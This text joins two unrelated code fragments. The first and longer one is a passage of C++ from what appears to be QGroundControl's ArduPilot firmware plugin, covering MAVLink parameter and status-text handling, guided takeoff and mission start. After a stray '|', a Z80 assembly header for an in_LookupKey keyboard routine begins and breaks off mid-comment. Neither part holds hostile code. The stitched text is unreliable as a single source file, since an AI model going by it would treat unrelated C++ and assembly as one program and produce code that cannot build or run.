paramUnion.param_int16 = static_cast<int16_t>(paramValue.param_value);
break;
case MAV_PARAM_TYPE_UINT32:
paramUnion.param_uint32 = static_cast<uint32_t>(paramValue.param_value);
break;
case MAV_PARAM_TYPE_INT32:
paramUnion.param_int32 = static_cast<int32_t>(paramValue.param_value);
break;
case MAV_PARAM_TYPE_REAL32:
paramUnion.param_float = paramValue.param_value;
break;
default:
qCCritical(APMFirmwarePluginLog) << "Invalid/Unsupported data type used in parameter:" << paramValue.param_type;
}
paramValue.param_value = paramUnion.param_float;
// Re-Encoding is always done using mavlink 1.0
mavlink_status_t* mavlinkStatusReEncode = mavlink_get_channel_status(0);
mavlinkStatusReEncode->flags |= MAVLINK_STATUS_FLAG_IN_MAVLINK1;
mavlink_msg_param_value_encode_chan(message->sysid,
message->compid,
0, // Re-encoding uses reserved channel 0
message,
¶mValue);
}
void APMFirmwarePlugin::_handleOutgoingParamSet(Vehicle* vehicle, LinkInterface* outgoingLink, mavlink_message_t* message)
{
Q_UNUSED(vehicle);
mavlink_param_set_t paramSet;
mavlink_param_union_t paramUnion;
memset(¶mSet, 0, sizeof(paramSet));
// APM stack passes all parameter values in mavlink_param_union_t.param_float no matter what
// type they are. Fix it back to the wrong way on the way out.
mavlink_msg_param_set_decode(message, ¶mSet);
paramUnion.param_float = paramSet.param_value;
switch (paramSet.param_type) {
case MAV_PARAM_TYPE_UINT8:
paramSet.param_value = paramUnion.param_uint8;
break;
case MAV_PARAM_TYPE_INT8:
paramSet.param_value = paramUnion.param_int8;
break;
case MAV_PARAM_TYPE_UINT16:
paramSet.param_value = paramUnion.param_uint16;
break;
case MAV_PARAM_TYPE_INT16:
paramSet.param_value = paramUnion.param_int16;
break;
case MAV_PARAM_TYPE_UINT32:
paramSet.param_value = paramUnion.param_uint32;
break;
case MAV_PARAM_TYPE_INT32:
paramSet.param_value = paramUnion.param_int32;
break;
case MAV_PARAM_TYPE_REAL32:
// Already in param_float
break;
default:
qCCritical(APMFirmwarePluginLog) << "Invalid/Unsupported data type used in parameter:" << paramSet.param_type;
}
mavlink_msg_param_set_encode_chan(message->sysid, message->compid, outgoingLink->mavlinkChannel(), message, ¶mSet);
}
bool APMFirmwarePlugin::_handleIncomingStatusText(Vehicle* vehicle, mavlink_message_t* message, bool longVersion)
{
QString messageText;
APMFirmwarePluginInstanceData* instanceData = qobject_cast<APMFirmwarePluginInstanceData*>(vehicle->firmwarePluginInstanceData());
int severity;
if (longVersion) {
severity = mavlink_msg_statustext_long_get_severity(message);
} else {
severity = mavlink_msg_statustext_get_severity(message);
}
if (vehicle->firmwareMajorVersion() == Vehicle::versionNotSetValue || severity < MAV_SEVERITY_NOTICE) {
messageText = _getMessageText(message, longVersion);
qCDebug(APMFirmwarePluginLog) << messageText;
if (!messageText.contains(APM_SOLO_REXP)) {
// if don't know firmwareVersion yet, try and see if this message contains it
if (messageText.contains(APM_COPTER_REXP) || messageText.contains(APM_PLANE_REXP) || messageText.contains(APM_ROVER_REXP) || messageText.contains(APM_SUB_REXP)) {
// found version string
APMFirmwareVersion firmwareVersion(messageText);
instanceData->textSeverityAdjustmentNeeded = _isTextSeverityAdjustmentNeeded(firmwareVersion);
vehicle->setFirmwareVersion(firmwareVersion.majorNumber(), firmwareVersion.minorNumber(), firmwareVersion.patchNumber());
int supportedMajorNumber = -1;
int supportedMinorNumber = -1;
switch (vehicle->vehicleType()) {
case MAV_TYPE_VTOL_DUOROTOR:
case MAV_TYPE_VTOL_QUADROTOR:
case MAV_TYPE_VTOL_TILTROTOR:
case MAV_TYPE_VTOL_RESERVED2:
case MAV_TYPE_VTOL_RESERVED3:
case MAV_TYPE_VTOL_RESERVED4:
case MAV_TYPE_VTOL_RESERVED5:
case MAV_TYPE_FIXED_WING:
supportedMajorNumber = 3;
supportedMinorNumber = 4;
break;
case MAV_TYPE_QUADROTOR:
// Start TCP video handshake with ARTOO in case it's a Solo running ArduPilot firmware
_soloVideoHandshake(vehicle, false /* originalSoloFirmware */);
case MAV_TYPE_COAXIAL:
case MAV_TYPE_HELICOPTER:
case MAV_TYPE_SUBMARINE:
case MAV_TYPE_HEXAROTOR:
case MAV_TYPE_OCTOROTOR:
case MAV_TYPE_TRICOPTER:
supportedMajorNumber = 3;
supportedMinorNumber = 3;
break;
default:
break;
}
if (supportedMajorNumber != -1) {
if (firmwareVersion.majorNumber() < supportedMajorNumber || firmwareVersion.minorNumber() < supportedMinorNumber) {
qgcApp()->showMessage(tr("QGroundControl fully supports Version %1.%2 and above. You are using a version prior to that. This combination is untested, you may run into unpredictable results.").arg(supportedMajorNumber).arg(supportedMinorNumber));
}
}
}
}
// APM user facing calibration messages come through as high severity, we need to parse them out
// and lower the severity on them so that they don't pop in the users face.
if (messageText.contains("Place vehicle") || messageText.contains("Calibration successful")) {
_adjustCalibrationMessageSeverity(message);
return true;
}
}
// adjust mesasge if needed
if (instanceData->textSeverityAdjustmentNeeded) {
_adjustSeverity(message);
}
if (messageText.isEmpty()) {
messageText = _getMessageText(message, longVersion);
}
// The following messages are incorrectly labeled as warning message.
// Fixed in newer firmware (unreleased at this point), but still in older firmware.
if (messageText.contains(APM_COPTER_REXP) || messageText.contains(APM_PLANE_REXP) || messageText.contains(APM_ROVER_REXP) || messageText.contains(APM_SUB_REXP) ||
messageText.contains(APM_PX4NUTTX_REXP) || messageText.contains(APM_FRAME_REXP) || messageText.contains(APM_SYSID_REXP)) {
_setInfoSeverity(message, longVersion);
}
if (messageText.contains(APM_SOLO_REXP)) {
qDebug() << "Found Solo";
vehicle->setSoloFirmware(true);
// Fix up severity
_setInfoSeverity(message, longVersion);
// Start TCP video handshake with ARTOO
_soloVideoHandshake(vehicle, true /* originalSoloFirmware */);
} else if (messageText.contains(APM_FRAME_REXP)) {
// We need to parse the Frame: message in order to determine whether the motors are coaxial or not
QRegExp frameTypeRegex("^Frame: (\\S*)");
if (frameTypeRegex.indexIn(messageText) != -1) {
QString frameType = frameTypeRegex.cap(1);
if (!frameType.isEmpty() && (frameType == QStringLiteral("Y6") || frameType == QStringLiteral("OCTA_QUAD") || frameType == QStringLiteral("COAX"))) {
_coaxialMotors = true;
}
}
}
return true;
}
void APMFirmwarePlugin::_handleIncomingHeartbeat(Vehicle* vehicle, mavlink_message_t* message)
{
bool flying = false;
// We pull Vehicle::flying state from HEARTBEAT on ArduPilot. This is a firmware specific test.
if (vehicle->armed()) {
mavlink_heartbeat_t heartbeat;
mavlink_msg_heartbeat_decode(message, &heartbeat);
flying = heartbeat.system_status == MAV_STATE_ACTIVE;
if (!flying && vehicle->flying()) {
// If we were previously flying, and we go into critical or emergency assume we are still flying
flying = heartbeat.system_status == MAV_STATE_CRITICAL || heartbeat.system_status == MAV_STATE_EMERGENCY;
}
}
vehicle->_setFlying(flying);
}
bool APMFirmwarePlugin::adjustIncomingMavlinkMessage(Vehicle* vehicle, mavlink_message_t* message)
{
// Only translate messages which come from the autopilot. All other components are expected to follow current mavlink spec.
if (message->compid != MAV_COMP_ID_AUTOPILOT1) {
return true;
}
switch (message->msgid) {
case MAVLINK_MSG_ID_PARAM_VALUE:
_handleIncomingParamValue(vehicle, message);
break;
case MAVLINK_MSG_ID_STATUSTEXT:
return _handleIncomingStatusText(vehicle, message, false /* longVersion */);
case MAVLINK_MSG_ID_STATUSTEXT_LONG:
return _handleIncomingStatusText(vehicle, message, true /* longVersion */);
case MAVLINK_MSG_ID_HEARTBEAT:
_handleIncomingHeartbeat(vehicle, message);
break;
case MAVLINK_MSG_ID_RC_CHANNELS:
_handleRCChannels(vehicle, message);
break;
case MAVLINK_MSG_ID_RC_CHANNELS_RAW:
_handleRCChannelsRaw(vehicle, message);
break;
}
return true;
}
void APMFirmwarePlugin::adjustOutgoingMavlinkMessage(Vehicle* vehicle, LinkInterface* outgoingLink, mavlink_message_t* message)
{
//-- Don't process messages to/from UDP Bridge. It doesn't suffer from these issues
if (message->compid == MAV_COMP_ID_UDP_BRIDGE) {
return;
}
switch (message->msgid) {
case MAVLINK_MSG_ID_PARAM_SET:
_handleOutgoingParamSet(vehicle, outgoingLink, message);
break;
}
}
QString APMFirmwarePlugin::_getMessageText(mavlink_message_t* message, bool longVersion) const
{
QByteArray b;
if (longVersion) {
b.resize(MAVLINK_MSG_STATUSTEXT_LONG_FIELD_TEXT_LEN+1);
mavlink_msg_statustext_long_get_text(message, b.data());
} else {
b.resize(MAVLINK_MSG_STATUSTEXT_FIELD_TEXT_LEN+1);
mavlink_msg_statustext_get_text(message, b.data());
}
// Ensure NUL-termination
b[b.length()-1] = '\0';
return QString(b);
}
bool APMFirmwarePlugin::_isTextSeverityAdjustmentNeeded(const APMFirmwareVersion& firmwareVersion)
{
if (!firmwareVersion.isValid()) {
return false;
}
bool adjustmentNeeded = false;
if (firmwareVersion.vehicleType().contains(APM_COPTER_REXP)) {
if (firmwareVersion < APMFirmwareVersion(MIN_COPTER_VERSION_WITH_CORRECT_SEVERITY_MSGS)) {
adjustmentNeeded = true;
}
} else if (firmwareVersion.vehicleType().contains(APM_PLANE_REXP)) {
if (firmwareVersion < APMFirmwareVersion(MIN_PLANE_VERSION_WITH_CORRECT_SEVERITY_MSGS)) {
adjustmentNeeded = true;
}
} else if (firmwareVersion.vehicleType().contains(APM_ROVER_REXP)) {
if (firmwareVersion < APMFirmwareVersion(MIN_ROVER_VERSION_WITH_CORRECT_SEVERITY_MSGS)) {
adjustmentNeeded = true;
}
} else if (firmwareVersion.vehicleType().contains(APM_SUB_REXP)) {
if (firmwareVersion < APMFirmwareVersion(MIN_SUB_VERSION_WITH_CORRECT_SEVERITY_MSGS)) {
adjustmentNeeded = true;
}
}
return adjustmentNeeded;
}
void APMFirmwarePlugin::_adjustSeverity(mavlink_message_t* message) const
{
// lets make QGC happy with right severity values
mavlink_statustext_t statusText;
mavlink_msg_statustext_decode(message, &statusText);
switch(statusText.severity) {
case MAV_SEVERITY_ALERT: /* SEVERITY_LOW according to old codes */
statusText.severity = MAV_SEVERITY_WARNING;
break;
case MAV_SEVERITY_CRITICAL: /*SEVERITY_MEDIUM according to old codes */
statusText.severity = MAV_SEVERITY_ALERT;
break;
case MAV_SEVERITY_ERROR: /*SEVERITY_HIGH according to old codes */
statusText.severity = MAV_SEVERITY_CRITICAL;
break;
}
// Re-Encoding is always done using mavlink 1.0
mavlink_status_t* mavlinkStatusReEncode = mavlink_get_channel_status(0);
mavlinkStatusReEncode->flags |= MAVLINK_STATUS_FLAG_IN_MAVLINK1;
mavlink_msg_statustext_encode_chan(message->sysid,
message->compid,
0, // Re-encoding uses reserved channel 0
message,
&statusText);
}
void APMFirmwarePlugin::_setInfoSeverity(mavlink_message_t* message, bool longVersion) const
{
// Re-Encoding is always done using mavlink 1.0
mavlink_status_t* mavlinkStatusReEncode = mavlink_get_channel_status(0);
mavlinkStatusReEncode->flags |= MAVLINK_STATUS_FLAG_IN_MAVLINK1;
if (longVersion) {
mavlink_statustext_long_t statusTextLong;
mavlink_msg_statustext_long_decode(message, &statusTextLong);
statusTextLong.severity = MAV_SEVERITY_INFO;
mavlink_msg_statustext_long_encode_chan(message->sysid,
message->compid,
0, // Re-encoding uses reserved channel 0
message,
&statusTextLong);
} else {
mavlink_statustext_t statusText;
mavlink_msg_statustext_decode(message, &statusText);
statusText.severity = MAV_SEVERITY_INFO;
mavlink_msg_statustext_encode_chan(message->sysid,
message->compid,
0, // Re-encoding uses reserved channel 0
message,
&statusText);
}
}
void APMFirmwarePlugin::_adjustCalibrationMessageSeverity(mavlink_message_t* message) const
{
mavlink_statustext_t statusText;
mavlink_msg_statustext_decode(message, &statusText);
// Re-Encoding is always done using mavlink 1.0
mavlink_status_t* mavlinkStatusReEncode = mavlink_get_channel_status(0);
mavlinkStatusReEncode->flags |= MAVLINK_STATUS_FLAG_IN_MAVLINK1;
statusText.severity = MAV_SEVERITY_INFO;
mavlink_msg_statustext_encode_chan(message->sysid, message->compid, 0, message, &statusText);
}
void APMFirmwarePlugin::initializeStreamRates(Vehicle* vehicle)
{
APMMavlinkStreamRateSettings* streamRates = qgcApp()->toolbox()->settingsManager()->apmMavlinkStreamRateSettings();
struct StreamInfo_s {
MAV_DATA_STREAM mavStream;
int streamRate;
};
StreamInfo_s rgStreamInfo[] = {
{ MAV_DATA_STREAM_RAW_SENSORS, streamRates->streamRateRawSensors()->rawValue().toInt() },
{ MAV_DATA_STREAM_EXTENDED_STATUS, streamRates->streamRateExtendedStatus()->rawValue().toInt() },
{ MAV_DATA_STREAM_RC_CHANNELS, streamRates->streamRateRCChannels()->rawValue().toInt() },
{ MAV_DATA_STREAM_POSITION, streamRates->streamRatePosition()->rawValue().toInt() },
{ MAV_DATA_STREAM_EXTRA1, streamRates->streamRateExtra1()->rawValue().toInt() },
{ MAV_DATA_STREAM_EXTRA2, streamRates->streamRateExtra2()->rawValue().toInt() },
{ MAV_DATA_STREAM_EXTRA3, streamRates->streamRateExtra3()->rawValue().toInt() },
};
for (size_t i=0; i<sizeof(rgStreamInfo)/sizeof(rgStreamInfo[0]); i++) {
const StreamInfo_s& streamInfo = rgStreamInfo[i];
if (streamInfo.streamRate >= 0) {
vehicle->requestDataStream(streamInfo.mavStream, static_cast<uint16_t>(streamInfo.streamRate));
}
}
}
void APMFirmwarePlugin::initializeVehicle(Vehicle* vehicle)
{
vehicle->setFirmwarePluginInstanceData(new APMFirmwarePluginInstanceData);
if (vehicle->isOfflineEditingVehicle()) {
switch (vehicle->vehicleType()) {
case MAV_TYPE_QUADROTOR:
case MAV_TYPE_HEXAROTOR:
case MAV_TYPE_OCTOROTOR:
case MAV_TYPE_TRICOPTER:
case MAV_TYPE_COAXIAL:
case MAV_TYPE_HELICOPTER:
vehicle->setFirmwareVersion(3, 4, 0);
break;
case MAV_TYPE_VTOL_DUOROTOR:
case MAV_TYPE_VTOL_QUADROTOR:
case MAV_TYPE_VTOL_TILTROTOR:
case MAV_TYPE_VTOL_RESERVED2:
case MAV_TYPE_VTOL_RESERVED3:
case MAV_TYPE_VTOL_RESERVED4:
case MAV_TYPE_VTOL_RESERVED5:
case MAV_TYPE_FIXED_WING:
vehicle->setFirmwareVersion(3, 5, 0);
break;
case MAV_TYPE_GROUND_ROVER:
case MAV_TYPE_SURFACE_BOAT:
vehicle->setFirmwareVersion(3, 0, 0);
break;
case MAV_TYPE_SUBMARINE:
vehicle->setFirmwareVersion(3, 4, 0);
break;
default:
// No version set
break;
}
} else {
if (qgcApp()->toolbox()->settingsManager()->appSettings()->apmStartMavlinkStreams()->rawValue().toBool()) {
// Streams are not started automatically on APM stack (sort of)
initializeStreamRates(vehicle);
}
}
}
void APMFirmwarePlugin::setSupportedModes(QList<APMCustomMode> supportedModes)
{
_supportedModes = supportedModes;
}
bool APMFirmwarePlugin::sendHomePositionToVehicle(void)
{
// APM stack wants the home position sent in the first position
return true;
}
void APMFirmwarePlugin::addMetaDataToFact(QObject* parameterMetaData, Fact* fact, MAV_TYPE vehicleType)
{
APMParameterMetaData* apmMetaData = qobject_cast<APMParameterMetaData*>(parameterMetaData);
if (apmMetaData) {
apmMetaData->addMetaDataToFact(fact, vehicleType);
} else {
qWarning() << "Internal error: pointer passed to APMFirmwarePlugin::addMetaDataToFact not APMParameterMetaData";
}
}
QList<MAV_CMD> APMFirmwarePlugin::supportedMissionCommands(void)
{
QList<MAV_CMD> list;
list << MAV_CMD_NAV_WAYPOINT
<< MAV_CMD_NAV_LOITER_UNLIM << MAV_CMD_NAV_LOITER_TURNS << MAV_CMD_NAV_LOITER_TIME
<< MAV_CMD_NAV_RETURN_TO_LAUNCH << MAV_CMD_NAV_LAND << MAV_CMD_NAV_TAKEOFF
<< MAV_CMD_NAV_CONTINUE_AND_CHANGE_ALT
<< MAV_CMD_NAV_LOITER_TO_ALT
<< MAV_CMD_NAV_SPLINE_WAYPOINT
<< MAV_CMD_NAV_GUIDED_ENABLE
<< MAV_CMD_NAV_DELAY
<< MAV_CMD_CONDITION_DELAY << MAV_CMD_CONDITION_DISTANCE << MAV_CMD_CONDITION_YAW
<< MAV_CMD_DO_SET_MODE
<< MAV_CMD_DO_JUMP
<< MAV_CMD_DO_CHANGE_SPEED
<< MAV_CMD_DO_SET_HOME
<< MAV_CMD_DO_SET_RELAY << MAV_CMD_DO_REPEAT_RELAY
<< MAV_CMD_DO_SET_SERVO << MAV_CMD_DO_REPEAT_SERVO
<< MAV_CMD_DO_LAND_START
<< MAV_CMD_DO_SET_ROI
<< MAV_CMD_DO_DIGICAM_CONFIGURE << MAV_CMD_DO_DIGICAM_CONTROL
<< MAV_CMD_DO_MOUNT_CONTROL
<< MAV_CMD_DO_SET_CAM_TRIGG_DIST
<< MAV_CMD_DO_FENCE_ENABLE
<< MAV_CMD_DO_PARACHUTE
<< MAV_CMD_DO_INVERTED_FLIGHT
<< MAV_CMD_DO_GRIPPER
<< MAV_CMD_DO_GUIDED_LIMITS
<< MAV_CMD_DO_AUTOTUNE_ENABLE
<< MAV_CMD_NAV_VTOL_TAKEOFF << MAV_CMD_NAV_VTOL_LAND << MAV_CMD_DO_VTOL_TRANSITION;
#if 0
// Waiting for module update
<< MAV_CMD_DO_SET_REVERSE;
#endif
return list;
}
QString APMFirmwarePlugin::missionCommandOverrides(MAV_TYPE vehicleType) const
{
switch (vehicleType) {
case MAV_TYPE_GENERIC:
return QStringLiteral(":/json/APM/MavCmdInfoCommon.json");
case MAV_TYPE_FIXED_WING:
return QStringLiteral(":/json/APM/MavCmdInfoFixedWing.json");
case MAV_TYPE_QUADROTOR:
return QStringLiteral(":/json/APM/MavCmdInfoMultiRotor.json");
case MAV_TYPE_VTOL_QUADROTOR:
return QStringLiteral(":/json/APM/MavCmdInfoVTOL.json");
case MAV_TYPE_SUBMARINE:
return QStringLiteral(":/json/APM/MavCmdInfoSub.json");
case MAV_TYPE_GROUND_ROVER:
return QStringLiteral(":/json/APM/MavCmdInfoRover.json");
default:
qWarning() << "APMFirmwarePlugin::missionCommandOverrides called with bad MAV_TYPE:" << vehicleType;
return QString();
}
}
QObject* APMFirmwarePlugin::loadParameterMetaData(const QString& metaDataFile)
{
Q_UNUSED(metaDataFile);
APMParameterMetaData* metaData = new APMParameterMetaData();
metaData->loadParameterFactMetaDataFile(metaDataFile);
return metaData;
}
bool APMFirmwarePlugin::isGuidedMode(const Vehicle* vehicle) const
{
return vehicle->flightMode() == "Guided";
}
void APMFirmwarePlugin::_soloVideoHandshake(Vehicle* vehicle, bool originalSoloFirmware)
{
Q_UNUSED(vehicle);
QTcpSocket* socket = new QTcpSocket();
socket->connectToHost(_artooIP, _artooVideoHandshakePort);
if (originalSoloFirmware) {
QObject::connect(socket, static_cast<void (QTcpSocket::*)(QAbstractSocket::SocketError)>(&QTcpSocket::error), this, &APMFirmwarePlugin::_artooSocketError);
}
}
void APMFirmwarePlugin::_artooSocketError(QAbstractSocket::SocketError socketError)
{
qgcApp()->showMessage(tr("Error during Solo video link setup: %1").arg(socketError));
}
QString APMFirmwarePlugin::internalParameterMetaDataFile(Vehicle* vehicle)
{
switch (vehicle->vehicleType()) {
case MAV_TYPE_QUADROTOR:
case MAV_TYPE_HEXAROTOR:
case MAV_TYPE_OCTOROTOR:
case MAV_TYPE_TRICOPTER:
case MAV_TYPE_COAXIAL:
case MAV_TYPE_HELICOPTER:
if (vehicle->versionCompare(3, 7, 0) >= 0) { // 3.7.0 and higher
return QStringLiteral(":/FirmwarePlugin/APM/APMParameterFactMetaData.Copter.3.7.xml");
}
if (vehicle->versionCompare(3, 6, 0) >= 0) { // 3.6.0 and higher
return QStringLiteral(":/FirmwarePlugin/APM/APMParameterFactMetaData.Copter.3.6.xml");
}
if (vehicle->versionCompare(3, 5, 0) >= 0) { // 3.5.x
return QStringLiteral(":/FirmwarePlugin/APM/APMParameterFactMetaData.Copter.3.5.xml");
}
if (vehicle->versionCompare(3, 4, 0) >= 0) { // 3.4.x
return QStringLiteral(":/FirmwarePlugin/APM/APMParameterFactMetaData.Copter.3.4.xml");
}
// Up to 3.3.x
return QStringLiteral(":/FirmwarePlugin/APM/APMParameterFactMetaData.Copter.3.3.xml");
case MAV_TYPE_VTOL_DUOROTOR:
case MAV_TYPE_VTOL_QUADROTOR:
case MAV_TYPE_VTOL_TILTROTOR:
case MAV_TYPE_VTOL_RESERVED2:
case MAV_TYPE_VTOL_RESERVED3:
case MAV_TYPE_VTOL_RESERVED4:
case MAV_TYPE_VTOL_RESERVED5:
case MAV_TYPE_FIXED_WING:
if (vehicle->versionCompare(3, 8, 0) >= 0) { // 3.8.0 and higher
return QStringLiteral(":/FirmwarePlugin/APM/APMParameterFactMetaData.Plane.3.8.xml");
}
if (vehicle->versionCompare(3, 7, 0) >= 0) { // 3.7.x
return QStringLiteral(":/FirmwarePlugin/APM/APMParameterFactMetaData.Plane.3.7.xml");
}
if (vehicle->versionCompare(3, 5, 0) >= 0) { // 3.5.x to 3.6.x
return QStringLiteral(":/FirmwarePlugin/APM/APMParameterFactMetaData.Plane.3.5.xml");
}
// up to 3.4.x
return QStringLiteral(":/FirmwarePlugin/APM/APMParameterFactMetaData.Plane.3.3.xml");
case MAV_TYPE_GROUND_ROVER:
case MAV_TYPE_SURFACE_BOAT:
if (vehicle->versionCompare(3, 4, 0) >= 0) { // 3.4.0 and higher
return QStringLiteral(":/FirmwarePlugin/APM/APMParameterFactMetaData.Rover.3.4.xml");
}
if (vehicle->versionCompare(3, 2, 0) >= 0) { // 3.2.x to 3.3.x
return QStringLiteral(":/FirmwarePlugin/APM/APMParameterFactMetaData.Rover.3.2.xml");
}
// up to 3.1.x
return QStringLiteral(":/FirmwarePlugin/APM/APMParameterFactMetaData.Rover.3.0.xml");
case MAV_TYPE_SUBMARINE:
if (vehicle->versionCompare(3, 6, 0) >= 0) { // 3.5.x
return QStringLiteral(":/FirmwarePlugin/APM/APMParameterFactMetaData.Sub.3.6dev.xml");
}
if (vehicle->versionCompare(3, 5, 0) >= 0) { // 3.5.x
return QStringLiteral(":/FirmwarePlugin/APM/APMParameterFactMetaData.Sub.3.5.xml");
}
// up to 3.4.x
return QStringLiteral(":/FirmwarePlugin/APM/APMParameterFactMetaData.Sub.3.4.xml");
default:
return QString();
}
}
void APMFirmwarePlugin::setGuidedMode(Vehicle* vehicle, bool guidedMode)
{
if (guidedMode) {
_setFlightModeAndValidate(vehicle, "Guided");
} else {
pauseVehicle(vehicle);
}
}
void APMFirmwarePlugin::pauseVehicle(Vehicle* vehicle)
{
_setFlightModeAndValidate(vehicle, pauseFlightMode());
}
void APMFirmwarePlugin::guidedModeGotoLocation(Vehicle* vehicle, const QGeoCoordinate& gotoCoord)
{
if (qIsNaN(vehicle->altitudeRelative()->rawValue().toDouble())) {
qgcApp()->showMessage(QStringLiteral("Unable to go to location, vehicle position not known."));
return;
}
setGuidedMode(vehicle, true);
QGeoCoordinate coordWithAltitude = gotoCoord;
coordWithAltitude.setAltitude(vehicle->altitudeRelative()->rawValue().toDouble());
vehicle->missionManager()->writeArduPilotGuidedMissionItem(coordWithAltitude, false /* altChangeOnly */);
}
void APMFirmwarePlugin::guidedModeRTL(Vehicle* vehicle, bool smartRTL)
{
_setFlightModeAndValidate(vehicle, smartRTL ? smartRTLFlightMode() : rtlFlightMode());
}
void APMFirmwarePlugin::guidedModeChangeAltitude(Vehicle* vehicle, double altitudeChange)
{
if (qIsNaN(vehicle->altitudeRelative()->rawValue().toDouble())) {
qgcApp()->showMessage(tr("Unable to change altitude, vehicle altitude not known."));
return;
}
setGuidedMode(vehicle, true);
mavlink_message_t msg;
mavlink_set_position_target_local_ned_t cmd;
memset(&cmd, 0, sizeof(cmd));
cmd.target_system = static_cast<uint8_t>(vehicle->id());
cmd.target_component = static_cast<uint8_t>(vehicle->defaultComponentId());
cmd.coordinate_frame = MAV_FRAME_LOCAL_OFFSET_NED;
cmd.type_mask = 0xFFF8; // Only x/y/z valid
cmd.x = 0.0f;
cmd.y = 0.0f;
cmd.z = static_cast<float>(-(altitudeChange));
MAVLinkProtocol* mavlink = qgcApp()->toolbox()->mavlinkProtocol();
mavlink_msg_set_position_target_local_ned_encode_chan(
static_cast<uint8_t>(mavlink->getSystemId()),
static_cast<uint8_t>(mavlink->getComponentId()),
vehicle->priorityLink()->mavlinkChannel(),
&msg,
&cmd);
vehicle->sendMessageOnLink(vehicle->priorityLink(), msg);
}
void APMFirmwarePlugin::guidedModeTakeoff(Vehicle* vehicle, double altitudeRel)
{
_guidedModeTakeoff(vehicle, altitudeRel);
}
double APMFirmwarePlugin::minimumTakeoffAltitude(Vehicle* vehicle)
{
double minTakeoffAlt = 0;
QString takeoffAltParam(vehicle->vtol() ? QStringLiteral("Q_RTL_ALT") : QStringLiteral("PILOT_TKOFF_ALT"));
float paramDivisor = vehicle->vtol() ? 1.0 : 100.0; // PILOT_TAKEOFF_ALT is in centimeters
if (vehicle->parameterManager()->parameterExists(FactSystem::defaultComponentId, takeoffAltParam)) {
minTakeoffAlt = vehicle->parameterManager()->getParameter(FactSystem::defaultComponentId, takeoffAltParam)->rawValue().toDouble() / static_cast<double>(paramDivisor);
}
if (minTakeoffAlt == 0) {
minTakeoffAlt = FirmwarePlugin::minimumTakeoffAltitude(vehicle);
}
return minTakeoffAlt;
}
bool APMFirmwarePlugin::_guidedModeTakeoff(Vehicle* vehicle, double altitudeRel)
{
if (!vehicle->multiRotor() && !vehicle->vtol()) {
qgcApp()->showMessage(tr("Vehicle does not support guided takeoff"));
return false;
}
double vehicleAltitudeAMSL = vehicle->altitudeAMSL()->rawValue().toDouble();
if (qIsNaN(vehicleAltitudeAMSL)) {
qgcApp()->showMessage(tr("Unable to takeoff, vehicle position not known."));
return false;
}
double takeoffAltRel = minimumTakeoffAltitude(vehicle);
if (!qIsNaN(altitudeRel) && altitudeRel > takeoffAltRel) {
takeoffAltRel = altitudeRel;
}
if (!_setFlightModeAndValidate(vehicle, "Guided")) {
qgcApp()->showMessage(tr("Unable to takeoff: Vehicle failed to change to Guided mode."));
return false;
}
if (!_armVehicleAndValidate(vehicle)) {
qgcApp()->showMessage(tr("Unable to takeoff: Vehicle failed to arm."));
return false;
}
vehicle->sendMavCommand(vehicle->defaultComponentId(),
MAV_CMD_NAV_TAKEOFF,
true, // show error
0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f,
static_cast<float>(takeoffAltRel)); // Relative altitude
return true;
}
void APMFirmwarePlugin::startMission(Vehicle* vehicle)
{
if (vehicle->flying()) {
// Vehicle already in the air, we just need to switch to auto
if (!_setFlightModeAndValidate(vehicle, "Auto")) {
qgcApp()->showMessage(tr("Unable to start mission: Vehicle failed to change to Auto mode."));
}
return;
}
if (!vehicle->armed()) {
// First switch to flight mode we can arm from
if (!_setFlightModeAndValidate(vehicle, "Guided")) {
qgcApp()->showMessage(tr("Unable to start mission: Vehicle failed to change to Guided mode."));
return;
}
if (!_armVehicleAndValidate(vehicle)) {
qgcApp()->showMessage(tr("Unable to start mission: Vehicle failed to arm."));
return;
}
}
if (vehicle->fixedWing()) {
if (!_setFlightModeAndValidate(vehicle, "Auto")) {
qgcApp()->showMessage(tr("Unable to start mission: Vehicle failed to change to Auto mode."));
return;
}
} else {
vehicle->sendMavCommand(vehicle->defaultComponentId(), MAV_CMD_MISSION_START, true /*show error */);
}
}
QString APMFirmwarePlugin::_getLatestVersionFileUrl(Vehicle* vehicle)
{
const static QString baseUrl("http://firmware.ardupilot.org/%1/stable/PX4/git-version.txt");
if (vehicle->fixedWing()) {
return baseUrl.arg("Plane");
}
if (vehicle->vtol()) {
return baseUrl.arg("Plane");
}
if (vehicle->rover()) {
return baseUrl.arg("Rover");
}
if (vehicle->sub()) {
return baseUrl.arg("Sub");
}
return baseUrl.arg("Copter");
}
QString APMFirmwarePlugin::_versionRegex() {
return QStringLiteral(" V([0-9,\\.]*)$");
}
void APMFirmwarePlugin::_handleRCChannels(Vehicle* vehicle, mavlink_message_t* message)
{
mavlink_rc_channels_t channels;
mavlink_msg_rc_channels_decode(message, &channels);
//-- Ardupilot uses 0-255 to indicate 0-100% where QGC expects 0-100
if(channels.rssi) {
channels.rssi = static_cast<uint8_t>(static_cast<double>(channels.rssi) / 255.0 * 100.0);
}
MAVLinkProtocol* mavlink = qgcApp()->toolbox()->mavlinkProtocol();
mavlink_msg_rc_channels_encode_chan(
static_cast<uint8_t>(mavlink->getSystemId()),
static_cast<uint8_t>(mavlink->getComponentId()),
vehicle->priorityLink()->mavlinkChannel(),
message,
&channels);
}
void APMFirmwarePlugin::_handleRCChannelsRaw(Vehicle* vehicle, mavlink_message_t *message)
{
mavlink_rc_channels_raw_t channels;
mavlink_msg_rc_channels_raw_decode(message, &channels);
//-- Ardupilot uses 0-255 to indicate 0-100% where QGC expects 0-100
if(channels.rssi) {
channels.rssi = static_cast<uint8_t>(static_cast<double>(channels.rssi) / 255.0 * 100.0);
}
MAVLinkProtocol* mavlink = qgcApp()->toolbox()->mavlinkProtocol();
mavlink_msg_rc_channels_raw_encode_chan(
static_cast<uint8_t>(mavlink->getSystemId()),
static_cast<uint8_t>(mavlink->getComponentId()),
vehicle->priorityLink()->mavlinkChannel(),
message,
&channels);
}
|
; uint in_LookupKey(uchar c)
; 06.2018 suborb
SECTION code_clib
PUBLIC in_LookupKey
PUBLIC _in_LookupKey
EXTERN in_keytranstbl
; Given the ascii code of a character, returns the scan row and mask
; corresponding to the key that needs to be pressed to generate the
; character.
;
; The scan row returned will have bit 7 set and bit 6 set to
; indicate if CAPS, SYM SHIFTS also have to be pressed to generate the
; ascii code, respectively.
; enter: L = ascii character code
; exit : L = scan row
; H = mask
; else: L = scan row, H = mask
; bit 7 of L set if SHIFT needs to be pressed
; bit 6 of L set if FUNC needs to be pressed
; uses : AF,BC,HL
; The 16-bit value returned is a scan code understood by
